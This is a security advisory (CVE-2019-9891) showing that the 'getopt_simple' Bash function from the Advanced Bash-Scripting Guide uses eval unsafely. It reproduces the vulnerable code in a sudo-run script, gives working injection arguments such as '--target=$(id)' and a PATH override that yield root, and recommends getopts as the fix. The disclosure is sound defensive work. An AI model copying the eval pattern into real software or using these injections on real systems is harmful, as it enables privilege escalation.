Advisory: Code Execution via Insecure Shell Function getopt_simple

RedTeam Pentesting discovered that the shell function "getopt_simple",

as presented in the "Advanced Bash-Scripting Guide", allows execution of

attacker-controlled commands.

Details

=======

Product: Advanced Bash-Scripting Guide

Affected Versions: all

Fixed Versions: -

Vulnerability Type: Code Execution

Security Risk: medium

Vendor URL:

Vendor Status: notified

Advisory URL:

Advisory Status: private

CVE: CVE-2019-9891

CVE URL:

Introduction

============

The document "Advanced Bash-Scripting Guide" [1] is a tutorial for

writing shell scripts for Bash. It contains many example scripts

together with in-depth explanations about how shell scripting works.

More Details

============

During a penetration test, RedTeam Pentesting was able to execute

commands as an unprivileged user (www-data) on a server. Among others,

it was discovered that this user was permitted to run the shell script

"cleanup.sh" as root via "sudo":

------------------------------------------------------------------------

$ sudo -l

Matching Defaults entries for user on srv:

    env_reset, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on srv:

    (root) NOPASSWD: /usr/local/sbin/cleanup.sh

------------------------------------------------------------------------

The script "cleanup.sh" starts with the following code:

------------------------------------------------------------------------

#!/bin/bash

getopt_simple()

{

    until [ -z "$1" ]

    do

      if [ ${1:0:2} = '--' ]

      then

          tmp=${1:2}               # Strip off leading '--' . . .

          parameter=${tmp%%=*}     # Extract name.

          value=${tmp##*=}         # Extract value.

          eval $parameter=$value

      fi

      shift

    done

}

target=/tmp

# Pass all options to getopt_simple().

getopt_simple $*

# list files to clean

echo "listing files in $target"

find "$target" -mtime 1

------------------------------------------------------------------------

The function "getopt_simple" is used to set variables based on

command-line flags which are passed to the script. Calling the script

with the argument "--target=/tmp" sets the variable "$target" to the

value "/tmp". The variable's value is then used in a call to "find". The

source code of the "getopt_simple" function has been taken from the

"Advanced Bash-Scripting Guide" [2]. It was also published as a book.

RedTeam Pentesting identified two different ways to exploit this

function in order to run attacker-controlled commands as root.

First, a flag can be specified in which either the name or the value

contain a shell command. The call to "eval" will simply execute this

command.

------------------------------------------------------------------------

$ sudo /usr/local/sbin/cleanup.sh '--redteam=foo;id'

uid=0(root) gid=0(root) groups=0(root)

listing files in /tmp

$ sudo /usr/local/sbin/cleanup.sh '--target=$(id)'

listing files in uid=0(root) gid=0(root) groups=0(root)

find: 'uid=0(root) gid=0(root) groups=0(root)': No such file or directory

$ sudo /usr/local/sbin/cleanup.sh '--target=$(ls${IFS}/)'

listing files in bin

boot

dev

etc

[...]

------------------------------------------------------------------------

Instead of injecting shell commands, the script can also be exploited by

overwriting the "$PATH" variable:

------------------------------------------------------------------------

$ mkdir /tmp/redteam

$ cat <<EOF > /tmp/redteam/find

#!/bin/sh

echo "executed as root:"

/usr/bin/id

EOF

$ chmod +x /tmp/redteam/find

$ sudo /usr/local/sbin/cleanup.sh --PATH=/tmp/redteam

listing files in /tmp

executed as root:

uid=0(root) gid=0(root) groups=0(root)

------------------------------------------------------------------------

Workaround

==========

No workaround available.

Fix

===

Replace the function "getopt_simple" with the built-in function

"getopts" or the program "getopt" from the util-linux package.

Examples on how to do so are included in the same tutorial [3][4].

Security Risk

=============

If a script with attacker-controlled arguments uses the "getopt_simple"

function, arbitrary commands may be invoked by the attackers. This is

particularly interesting if a privilege boundary is crossed, for example

in the context of "sudo". Overall, this vulnerability is rated as a

medium risk.

Timeline

========

2019-02-18 Vulnerability identified

2019-03-20 Customer approved disclosure to vendor

2019-03-20 Author notified

2019-03-20 Author responded, document is not updated/maintained any more

2019-03-20 CVE ID requested

2019-03-21 CVE ID assigned

2019-03-26 Advisory released

References

==========

[1]

[2]

[3]

[4]

RedTeam Pentesting GmbH

=======================

RedTeam Pentesting offers individual penetration tests performed by a

team of specialised IT-security experts. Hereby, security weaknesses in

company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to

share its knowledge and enhance the public knowledge with research in

security-related areas. The results are made available as public

security advisories.

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